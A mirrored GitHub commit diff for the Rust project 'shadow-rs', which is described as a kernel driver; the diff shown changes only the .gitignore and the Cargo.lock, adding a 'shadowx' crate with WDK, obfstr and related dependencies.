mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-23 02:04:22 +01:00
refactor: Refactoring all code to improve documentation and operation of the kernel driver
- Updating module documentation - Adding new features - Refactoring all code to improve readability
This commit is contained in:
15
.gitignore
vendored
15
.gitignore
vendored
@@ -1,13 +1,12 @@
|
|||||||
target
|
target
|
||||||
shared/target
|
backup
|
||||||
|
|
||||||
|
crates/common/target
|
||||||
|
crates/shadowx/target
|
||||||
client/target
|
client/target
|
||||||
driver/target
|
driver/target
|
||||||
|
|
||||||
shared/Cargo.lock
|
crates/common/Cargo.lock
|
||||||
|
crates/shadowx/Cargo.lock
|
||||||
client/Cargo.lock
|
client/Cargo.lock
|
||||||
driver/Cargo.lock
|
driver/Cargo.lock
|
||||||
|
|
||||||
driver/src/backup
|
|
||||||
client/src/modules/memory.rs
|
|
||||||
driver/src/misc/memory.rs
|
|
||||||
backup
|
|
||||||
713
Cargo.lock
generated
713
Cargo.lock
generated
@@ -76,10 +76,51 @@ dependencies = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "autocfg"
|
name = "anyhow"
|
||||||
version = "1.3.0"
|
version = "1.0.89"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
|
checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "autocfg"
|
||||||
|
version = "1.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bindgen"
|
||||||
|
version = "0.69.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"cexpr",
|
||||||
|
"clang-sys",
|
||||||
|
"itertools",
|
||||||
|
"lazy_static",
|
||||||
|
"lazycell",
|
||||||
|
"log",
|
||||||
|
"prettyplease",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"regex",
|
||||||
|
"rustc-hash",
|
||||||
|
"shlex",
|
||||||
|
"syn 2.0.79",
|
||||||
|
"which",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitfield"
|
||||||
|
version = "0.17.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f798d2d157e547aa99aab0967df39edd0b70307312b6f8bd2848e6abe40896e0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitflags"
|
||||||
|
version = "2.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bumpalo"
|
name = "bumpalo"
|
||||||
@@ -88,14 +129,55 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
|
checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cc"
|
name = "camino"
|
||||||
version = "1.1.21"
|
version = "1.1.9"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0"
|
checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cargo-platform"
|
||||||
|
version = "0.1.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cargo_metadata"
|
||||||
|
version = "0.18.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037"
|
||||||
|
dependencies = [
|
||||||
|
"camino",
|
||||||
|
"cargo-platform",
|
||||||
|
"semver",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"thiserror",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cc"
|
||||||
|
version = "1.1.28"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2e80e3b6a3ab07840e1cae9b0666a63970dc28e8ed5ffbcdacbfc760c281bfc1"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"shlex",
|
"shlex",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cexpr"
|
||||||
|
version = "0.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
|
||||||
|
dependencies = [
|
||||||
|
"nom",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cfg-if"
|
name = "cfg-if"
|
||||||
version = "1.0.0"
|
version = "1.0.0"
|
||||||
@@ -117,20 +199,41 @@ dependencies = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clang-sys"
|
||||||
version = "4.5.18"
|
version = "1.8.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3"
|
checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4"
|
||||||
|
dependencies = [
|
||||||
|
"glob",
|
||||||
|
"libc",
|
||||||
|
"libloading",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap"
|
||||||
|
version = "4.5.20"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b97f376d85a664d5837dbae44bf546e6477a679ff6610010f17276f686d867e8"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"clap_builder",
|
"clap_builder",
|
||||||
"clap_derive",
|
"clap_derive",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap_builder"
|
name = "clap-cargo"
|
||||||
version = "4.5.18"
|
version = "0.14.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b"
|
checksum = "23b2ea69cefa96b848b73ad516ad1d59a195cdf9263087d977f648a818c8b43e"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"clap",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_builder"
|
||||||
|
version = "4.5.20"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "19bc80abd44e4bed93ca373a0704ccbd1b710dc5749406201bb018272808dc54"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anstream",
|
"anstream",
|
||||||
"anstyle",
|
"anstyle",
|
||||||
@@ -147,7 +250,7 @@ dependencies = [
|
|||||||
"heck",
|
"heck",
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -172,6 +275,14 @@ dependencies = [
|
|||||||
"windows-sys 0.48.0",
|
"windows-sys 0.48.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "common"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"ntapi",
|
||||||
|
"windows-sys 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "core-foundation-sys"
|
name = "core-foundation-sys"
|
||||||
version = "0.8.7"
|
version = "0.8.7"
|
||||||
@@ -232,12 +343,37 @@ dependencies = [
|
|||||||
"log",
|
"log",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "errno"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"windows-sys 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "glob"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "heck"
|
name = "heck"
|
||||||
version = "0.5.0"
|
version = "0.5.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "home"
|
||||||
|
version = "0.5.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "humantime"
|
name = "humantime"
|
||||||
version = "2.1.0"
|
version = "2.1.0"
|
||||||
@@ -274,10 +410,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "js-sys"
|
name = "itertools"
|
||||||
version = "0.3.70"
|
version = "0.12.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a"
|
checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "itoa"
|
||||||
|
version = "1.0.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "js-sys"
|
||||||
|
version = "0.3.71"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0cb94a0ffd3f3ee755c20f7d8752f45cac88605a4dcf808abcff72873296ec7b"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
@@ -287,12 +438,47 @@ name = "lazy_static"
|
|||||||
version = "1.5.0"
|
version = "1.5.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
dependencies = [
|
||||||
|
"spin",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazycell"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "libc"
|
name = "libc"
|
||||||
version = "0.2.158"
|
version = "0.2.159"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
|
checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libloading"
|
||||||
|
version = "0.8.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"windows-targets 0.52.6",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "linux-raw-sys"
|
||||||
|
version = "0.4.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lock_api"
|
||||||
|
version = "0.4.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
"scopeguard",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "log"
|
name = "log"
|
||||||
@@ -300,12 +486,46 @@ version = "0.4.22"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
|
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "matchers"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
|
||||||
|
dependencies = [
|
||||||
|
"regex-automata 0.1.10",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "memchr"
|
name = "memchr"
|
||||||
version = "2.7.4"
|
version = "2.7.4"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "microseh"
|
||||||
|
version = "1.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "434c4ca971bcd27ed5c8bf9a2e24aa9fcb9affc2e67696b44a80b98f3b46a015"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "minimal-lexical"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nom"
|
||||||
|
version = "7.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
"minimal-lexical",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ntapi"
|
name = "ntapi"
|
||||||
version = "0.4.1"
|
version = "0.4.1"
|
||||||
@@ -315,6 +535,16 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nu-ansi-term"
|
||||||
|
version = "0.46.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
|
||||||
|
dependencies = [
|
||||||
|
"overload",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "num-traits"
|
name = "num-traits"
|
||||||
version = "0.2.19"
|
version = "0.2.19"
|
||||||
@@ -325,16 +555,44 @@ dependencies = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "once_cell"
|
name = "obfstr"
|
||||||
version = "1.19.0"
|
version = "0.4.4"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
|
checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.20.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "overload"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-project-lite"
|
||||||
|
version = "0.2.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "prettyplease"
|
||||||
|
version = "0.2.22"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"syn 2.0.79",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "proc-macro2"
|
name = "proc-macro2"
|
||||||
version = "1.0.86"
|
version = "1.0.87"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
|
checksum = "b3e4daa0dcf6feba26f985457cdf104d4b4256fc5a09547140f3631bb076b19a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"unicode-ident",
|
"unicode-ident",
|
||||||
]
|
]
|
||||||
@@ -370,53 +628,166 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex"
|
name = "regex"
|
||||||
version = "1.10.6"
|
version = "1.11.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
|
checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"aho-corasick",
|
"aho-corasick",
|
||||||
"memchr",
|
"memchr",
|
||||||
"regex-automata",
|
"regex-automata 0.4.8",
|
||||||
"regex-syntax",
|
"regex-syntax 0.8.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex-automata"
|
name = "regex-automata"
|
||||||
version = "0.4.7"
|
version = "0.1.10"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
|
checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
|
||||||
|
dependencies = [
|
||||||
|
"regex-syntax 0.6.29",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-automata"
|
||||||
|
version = "0.4.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"aho-corasick",
|
"aho-corasick",
|
||||||
"memchr",
|
"memchr",
|
||||||
"regex-syntax",
|
"regex-syntax 0.8.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "regex-syntax"
|
name = "regex-syntax"
|
||||||
version = "0.8.4"
|
version = "0.6.29"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shadow"
|
name = "regex-syntax"
|
||||||
|
version = "0.8.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustc-hash"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix"
|
||||||
|
version = "0.38.37"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8acb788b847c24f28525660c4d7758620a7210875711f79e7f663cc152726811"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"linux-raw-sys",
|
||||||
|
"windows-sys 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "955d28af4278de8121b7ebeb796b6a45735dc01436d898801014aced2773a3d6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ryu"
|
||||||
|
version = "1.0.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "scopeguard"
|
||||||
|
version = "1.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "semver"
|
||||||
|
version = "1.0.23"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b"
|
||||||
|
dependencies = [
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde"
|
||||||
|
version = "1.0.210"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a"
|
||||||
|
dependencies = [
|
||||||
|
"serde_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_derive"
|
||||||
|
version = "1.0.210"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.79",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_json"
|
||||||
|
version = "1.0.128"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8"
|
||||||
|
dependencies = [
|
||||||
|
"itoa",
|
||||||
|
"memchr",
|
||||||
|
"ryu",
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shadow-rs"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"chrono",
|
"chrono",
|
||||||
"clap",
|
"clap",
|
||||||
"colored",
|
"colored",
|
||||||
|
"common",
|
||||||
"env_logger",
|
"env_logger",
|
||||||
"log",
|
"log",
|
||||||
"shared",
|
|
||||||
"sysinfo",
|
"sysinfo",
|
||||||
"windows-sys 0.52.0",
|
"windows-sys 0.59.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shared"
|
name = "shadowx"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"bitfield",
|
||||||
|
"common",
|
||||||
|
"log",
|
||||||
|
"microseh",
|
||||||
"ntapi",
|
"ntapi",
|
||||||
"windows-sys 0.52.0",
|
"obfstr",
|
||||||
|
"spin",
|
||||||
|
"thiserror-no-std",
|
||||||
|
"wdk",
|
||||||
|
"wdk-alloc",
|
||||||
|
"wdk-panic",
|
||||||
|
"wdk-sys",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sharded-slab"
|
||||||
|
version = "0.1.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
|
||||||
|
dependencies = [
|
||||||
|
"lazy_static",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -425,6 +796,21 @@ version = "1.3.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "smallvec"
|
||||||
|
version = "1.13.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "spin"
|
||||||
|
version = "0.9.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
||||||
|
dependencies = [
|
||||||
|
"lock_api",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "strsim"
|
name = "strsim"
|
||||||
version = "0.11.1"
|
version = "0.11.1"
|
||||||
@@ -433,9 +819,20 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
|||||||
|
